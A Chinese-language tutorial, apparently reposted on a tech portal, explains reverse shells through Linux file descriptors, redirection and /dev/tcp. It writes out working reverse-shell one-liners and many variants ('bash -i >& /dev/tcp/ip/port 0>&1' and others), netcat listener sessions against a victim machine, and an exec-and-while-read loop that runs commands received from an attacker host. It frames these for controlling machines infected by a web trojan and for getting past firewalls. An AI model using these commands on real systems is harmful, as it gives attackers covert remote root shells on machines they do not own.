您当前的位置:首页 > 电脑百科 > 安全防护 > 网络安全

反弹shell那些事儿

时间:2021-05-19 09:56:06  来源:今日头条  作者:白帽hacker淬炼

反弹shell(reverse shell)

就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。

攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

深入理解文件描述符和重定向才能更好弄懂反弹shell。

场景

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.目标机器的ip动态改变,你不能持续控制。

3.建立一个服务端让恶意程序主动连接,持久化。

4.防火墙受限,不能由外向内建立连接(不接受外部连接)。(通过传输层协议的全双工通信实现交互)

备注:

全双工传输 (Full-Duplex Transmissions)

交换机在发送数据的同时也能够接收数据,两者同步进行,这好像我们平时打电话一样,说话的同时也能够听到对方的声音。目前的交换机都支持全双工。

单工数据传输只支持数据在一个方向上传输;在同一时间只有一方能接受或发送信息,不能实现双向通信,举例:电视,广播,计算机与打印机之间的通信是单工模式。

半双工数据传输允许数据在两个方向上传输,但是,在某一时刻,只允许数据在一个方向上传输,它实际上是一种切换方向的单工通信;在同一时间只可以有一方接受或发送信息,可以实现双向通信。举例:对讲机。

WIKI的定义

全双工(full-duplex)的系统允许二台设备间同时进行双向数据传输。一般的电话、手机就是全双工的系统,因为在讲话时同时也可以听到对方的声音。全双工的系统可以用一般的双向车道形容。两个方向的车辆因使用不同的车道,因此不会互相影响。

实验

测试一:

攻击端:

[root@attacker]# nc -lvp 2333            //第一步
Connection from victim_ip:38712
Docker0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        ether XXXXXXXXXX  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.181.6  netmask 255.255.240.0  broadcast 172.22.191.255
        inet6 fe80::216:3eff:fe0e:9d06  prefixlen 64  scopeid 0x20<link>

//测试结果:实现了将受害端的标准输出重定向到攻击端,但是还没实现用命令控制受害端。

受害端:

[root@victim]# bash -i > /dev/tcp/attacker_ip/2333  //第二步
[root@victim]# ifconfig                //第三步
[root@victim]#

测试二:

攻击端:

[root@attacker]# nc -lvp 2333         //第一步
Connection from victim_ip:38286
hostname                   //第三步(攻击端执行命令)
id
whoami

受害端:

[root@victim]# bash -i < /dev/tcp/attacker_ip/2333    //第二步
[root@victim]# hostname    
attacker
[root@victim]# id
uid=0(root) gid=0(root) groups=0(root)
[root@victim]# whoami
root
[root@victim]#

//测试结果:实现了将攻击端的输入重定向到受害端,但是攻击端看不到命令执行结果。

底层原理

输出重定向 >,相当于 1>,输入重定向 <,相当于0<,如果要使用错误输出,写成 2>。

例如,把正确的结果放到test.txt,而把错误的结果放到test2.txt文件中:

反弹shell那些事儿

 

在正常输入的命令结尾加上2>&1,这个语句可以理解为将错误输出与标准输出一致,也就是将他们输出到一个文件中:

反弹shell那些事儿

 

这里的&符号是为了区分文件跟文件描述符的,如果这里没有&符号,系统会把它(1)理解为文件,而不是标准输出

同理,在错误输出的命令结尾加上1>&2,这个语句可以理解为将标准输出与错误输出一致,也就是将他们输出到一个文件中:

反弹shell那些事儿

 

查看一个进程打开了哪些文件:

[root@lee]# nc -lvp 2333 

[root@lee]# netstat -ntlp|grep 2333
tcp        0      0 0.0.0.0:2333   0.0.0.0:*  LISTEN      16303/nc

/proc/[进程ID]/fd这个目录专门用于存放文件描述符

[root@lee]# ll /proc/16303/fd
total 0
lrwx------ 1 root root 64 Apr 20 14:41 0 -> /dev/pts/1
lrwx------ 1 root root 64 Apr 20 14:41 1 -> /dev/pts/1
lrwx------ 1 root root 64 Apr 20 14:41 2 -> /dev/pts/1
lrwx------ 1 root root 64 Apr 20 14:41 3 -> socket:[339049416]
lrwx------ 1 root root 64 Apr 20 14:41 6 -> /dev/pts/1
cd /dev/pts 

ll
反弹shell那些事儿

 

上图的多个tty我理解为交互式shell(终端)的数量。tty设备包括虚拟控制台,串口以及伪终端设备。

上图我用xshell起了7个交互式shell,都关闭只保留一个时:

反弹shell那些事儿

 

/dev

dev是设备(device)的英文缩写。这个目录中包含了所有linux系统中使用的外部设备。是一个访问这些外部设备的端口。我们可以非常方便地去访问这些外部设备,和访问一个文件,一个目录没有任何区别。(Linux一切皆文件)

/dev/null

/dev/null 它是空设备,也称为位桶(bit bucket)或者黑洞(black hole)。你可以向它输入任何数据,但任何写入它的数据都会被抛弃。通常用于处理不需要的输出流。(当然,它也可以作为空的输入流)

例如:

反弹shell那些事儿

 

/dev/zero

/dev/zero

创建一个为NULL填充的文件。

dd if=/dev/zero of=foobar count=2 bs=1024 

dd:用指定大小的块拷贝一个文件,并在拷贝的同时进行指定的转换。
反弹shell那些事儿

 

linux命令总结dd命令详解

/dev/pty

伪终端(/dev/pty/)

伪终端(Pseudo Terminal)是成对的逻辑终端设备(即master和slave设备, 对master的操作会反映到slave上)。

/dev/tty

/dev/tty是当前进程的控制终端的设备特殊文件。

其他

/dev/hd[a-t]:IDE设备
/dev/sd[a-z]:SCSI设备
/dev/fd[0-7]:标准软驱
/dev/md[0-31]:软raid设备
/dev/loop[0-7]:本地回环设备
/dev/ram[0-15]:内存
/dev/null:无限数据接收设备,相当于黑洞
/dev/zero:无限零资源
/dev/tty[0-63]:虚拟终端
/dev/ttyS[0-3]:串口
/dev/lp[0-3]:并口
/dev/console:控制台
/dev/fb[0-31]:framebuffer
/dev/cdrom => /dev/hdc
/dev/modem => /dev/ttyS[0-9]
/dev/pilot => /dev/ttyS[0-9]
/dev/random:随机数设备
/dev/urandom:随机数设备

bash -i >& /dev/tcp/ip/port 0>&1

bash -i 表示创建一个交互式的shell

/dev/tcp/ip/port,这个文件不是存在的,但是当你在监听这个端口的时候,对这个文件进行读写,就可以实现两个主机之间的socket通信

首先我们在攻击机开启监听,然后在Linux机器上输入下面的命令,即将指定字符通过tcp协议发送到攻击机的2333端口:

echo 1 > /dev/tcp/attacker_ip/2333

攻击机监听:

nc -lvp 2333
Connection from victim_ip:49948
1

UDP发包同理:

echo 2 > /dev/udp/attacker_ip/2333

攻击机监听:

nc -luvp 2333
Received packet from victim_ip:22367 -> 192.168.0.226:2333 (local)
1

2>&1 将错误输出和标准输出输出到同一个文件(Linux一切皆文件):

靶机:

echo1 1> /dev/tcp/attacker_ip/2333 2>&1

攻击机:

[root@attacker ~]# nc -lvp 2333
Connection from victim_ip:5479
-bash: echo1: command not found

通过 <将标准输出改成标准输入:

靶机:

cat < /dev/tcp/attacker_ip/2333
qwer
asdf

攻击机:

nc -lvp 2333 
Connection from victim_ip:23610
qwer
asdf

在攻击机传输的内容会被重定向到靶机。

输入重定向原理:

反弹shell那些事儿

 

掌握了上面的原理,可以随意构建反弹shell命令:

攻击:

nc -lvp 2333

靶机:

bash -i 0< /dev/tcp/ip/2333 1>&0 2>&0

或:

bash -i 0< /dev/tcp/ip/2333 1>&0 2>&1 
bash -i < /dev/tcp/ip/2333 >&0 2>&1 
bash -i 1> /dev/tcp/ip/2333 0>&1 2>&1 
bash -i 1> /dev/tcp/ip/2333 0>&1 2>&0

其他变形:

bash -i 1>& /dev/tcp/ip/port 0>&1 
bash -i 1>& /dev/tcp/ip/port 0>&2 
bash -i &> /dev/tcp/ip/port 0>&1 
bash -i &> /dev/tcp/ip/port 0>&2

bash -i后的&>或>&表示混合输出,即标准输出1 + 错误输出2

bash 和 sh 的一点儿区别

sh 遵循POSIX规范:“当某行代码出错时,不继续往下解释”。bash 就算出错,也会继续向下执行。

简单说,sh是bash的一种特殊的模式,sh就是开启了POSIX标准的bash, /bin/sh 相当于 /bin/bash --posix

在Linux系统上/bin/sh往往是指向/bin/bash的符号链接

ln -s /bin/bash /bin/sh

其他变形

Unix操作系统通常给每个进程能打开的文件数量强加一个限制,ulimit -n查看系统默认的文件描述符个数。

例如:

# ulimit -n
655360

表示系统支持的文件描述符 0-655359

page 1:

打开"File"并且将fd 655359分配给它:

[j]<>filename
# 为了读写"filename", 把文件"filename"打开, 并且将文件描述符"j"分配给它.
# 如果文件"filename"不存在, 那么就创建它.

eg:

exec 655359<> File    
反弹shell那些事儿

 

&- 关闭标准输出

n&- 表示将n号输出关闭

page2:

攻击机:

[root@attacker]# nc -lvp 2333             # 第一步
Connection from victim_ip:46414
helloworld                                # 第三步
123

受害机:

[root@victim]# exec 65534<>/dev/tcp/attacker_ip/2333  # 第二步
[root@victim]# cat <&65534
helloworld
123

受害机的文件描述符同步读取到攻击机的写入。

page3:

[root@attacker]# nc -lvp 2333
Connection from victim_ip:46536
id
11

受害机:

[root@victim]#exec 65534<>/dev/tcp/attacker_ip/2333;cat <&65534|while read line;do $line;done
uid=0(root) gid=0(root) groups=0(root)
-bash: 11: command not found


Tags:shell   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
写一个shell获取本机ip地址、网关地址以及dns信息。经常会遇到取本机ip、网关、dns地址,windows一个命令ipconfig /all全部获取到,但linux系统却并非如此。linux系统都自带ifc...【详细内容】
2021-12-27  Tags: shell  点击:(1)  评论:(0)  加入收藏
什么是shellshell是c语言编写的程序,它在用户和操作系统之间架起了一座桥梁,用户可以通过这个桥梁访问操作系统内核服务。 它既是一种命令语言,同时也是一种程序设计语言,你可以...【详细内容】
2021-12-16  Tags: shell  点击:(16)  评论:(0)  加入收藏
我们经常用到netstat命令查看主机连接状况,包括连接ip、端口、状态等,今天就练习下shell分析netsat结果。描述假设netstat命令运行的结果我们存储在nowcoder.txt里,格式如下:Pro...【详细内容】
2021-12-14  Tags: shell  点击:(19)  评论:(0)  加入收藏
前言目标是一大学,在一次挖洞过程中遇到个sql注入,尝试进一步利用扩大危害,漏洞已报送平台进行了修复私信我获取网络安全学习资料 1.2000多本网络安全系列电子书 2.网络安全标...【详细内容】
2021-11-26  Tags: shell  点击:(21)  评论:(0)  加入收藏
如何在Linux环境中加密shell脚本?shell脚本包含密码,不希望其他具有执行权限的人查看shell脚本并获取密码。可以安装使用shc工具,普通用户无法读取shc创建的加密Shell...【详细内容】
2021-11-04  Tags: shell  点击:(40)  评论:(0)  加入收藏
ZheTian强大的远程加载和执行ShellCode工具,免杀shellcode加载框架命令详解-u string:从远程服务器加载base64混淆后的字节码。-r string:从本地文件内读。-s string:读取修改的...【详细内容】
2021-10-21  Tags: shell  点击:(75)  评论:(0)  加入收藏
最近工作中需要开发前端操作远程虚拟机的功能,简称 WebShell。基于当前的技术栈为 react+django,调研了一会发现大部分的后端实现都是 django+channels 来实现 websocket 服务。...【详细内容】
2021-09-13  Tags: shell  点击:(52)  评论:(0)  加入收藏
公众号:白帽子左一 专注分享渗透经验,干货技巧...本文由团队手电筒分享,如果你还是个小白担心看不懂,没关系,“三步写马””如何上传木马”“如何拿下服务器并妥善管理”等实战内...【详细内容】
2021-08-11  Tags: shell  点击:(115)  评论:(0)  加入收藏
shell脚本是一个命令语言,面向的是操作系统执行。如果写过shell脚本的话,应该体会过编写过程的痛苦。因为shell并不是一个编程语言,并不支持常见的数组,JSON等数据结构,也不支持...【详细内容】
2021-08-09  Tags: shell  点击:(109)  评论:(0)  加入收藏
redpill项目旨在帮助广大研究人员在后渗透任务中实现反向TCP Shell。在日常的红队活动中,我们经常需要使用非常规的方式来访问目标系统,比如说通过反向TCP Shell来绕过系统管...【详细内容】
2021-07-21  Tags: shell  点击:(118)  评论:(0)  加入收藏
▌简易百科推荐
(报告出品方:德勤)数字化转型网络安全及转型挑战在任何行业,保持竞争力都需要快速开发新产品和 服务并推向市场。创新型业务模式不仅仅是简单地将现有 流程数字化,其正在覆盖供应...【详细内容】
2021-12-22  认是    Tags:网络安全   点击:(19)  评论:(0)  加入收藏
10月18号, W3C中网络平台孵化器小组(Web Platform Incubator Community Group)公布了HTML Sanitizer API的规范草案。这份草案用来解决浏览器如何解决XSS攻击问题。 网络安全中...【详细内容】
2021-12-07  实战Java  博客园  Tags:脚本攻击   点击:(18)  评论:(0)  加入收藏
一、背景介绍大家在Linux的日常使用中都晓得如何通过命令行去配置Linux的端口开放规则,但是大家知道如何配置Windows入站出站规则吗?有哪些常见的危险端口呢?如何解决上述问题...【详细内容】
2021-12-01  Kali与编程    Tags:防火墙   点击:(30)  评论:(0)  加入收藏
网络安全服务商Randori公司日前发布了一份调查报告,列出了网络攻击者最有可能攻击或利用的IT资产。在遭遇Solarwinds黑客攻击一周年之际,以及在网络安全(尤其是勒索软件和供应...【详细内容】
2021-10-28  企业网D1net   企鹅号  Tags:网络攻击   点击:(57)  评论:(0)  加入收藏
0x01.背景实验利用Dns Administrators 组成员,通过远程配置Dns服务,进行Dll inject从而实现特权提升。 在域内,Dns server 通常为Dc Server,Dns服务器管理基于rpc,通过调用c:\wi...【详细内容】
2021-10-22  IT影子    Tags:特权提升   点击:(37)  评论:(0)  加入收藏
本文主要介绍和总结了CSRF跨站请求伪造的基本原理和主要防范措施,工作中有用到的朋友不妨收藏转发一下,以备您参考。什么是CSRF?CSRF跨站点请求伪造(Cross&mdash;Site Request...【详细内容】
2021-10-13  快乐中恒    Tags:CSRF   点击:(49)  评论:(0)  加入收藏
waf拦截在打某市 Hvv 第一天就找到一个文件上传的点,经过测试,可以直接任意文件上传,没有什么道理。 直接尝试上传 Php 文件,被 waf 拦截了 2021最新整理网络安全/渗透测试/安...【详细内容】
2021-10-11  KaliMa    Tags:防火墙   点击:(56)  评论:(0)  加入收藏
应用程序与文件系统的交互始终是高度安全敏感的,因为较小的功能漏洞很容易成为可利用漏洞的来源。这种观察在web文件管理器的情况下尤其正确,其作用是复制完整文件系统的功能...【详细内容】
2021-09-17  IT野涵    Tags:漏洞链   点击:(56)  评论:(0)  加入收藏
您的苹果手机尽管iPhone比Android更安全,但也可以通过各种方式入侵。避免黑客入侵的最佳方法是警惕奇怪的链接或粗略的应用程序,并仅在必要时提供信息。电池寿命差和性能低下...【详细内容】
2021-09-16  Hackers爱好者    Tags:黑客入侵   点击:(631)  评论:(0)  加入收藏
防火墙一般布置在逻辑区域的入口处,位于三层网络架构的核心和汇聚之间,起到隔离逻辑区域,为逻辑区域创建安全策略的作用。 上面就是应用区的防火墙布置方式,他布置在应用区,可以...【详细内容】
2021-09-03  知来知去    Tags:主备模式防火墙   点击:(109)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条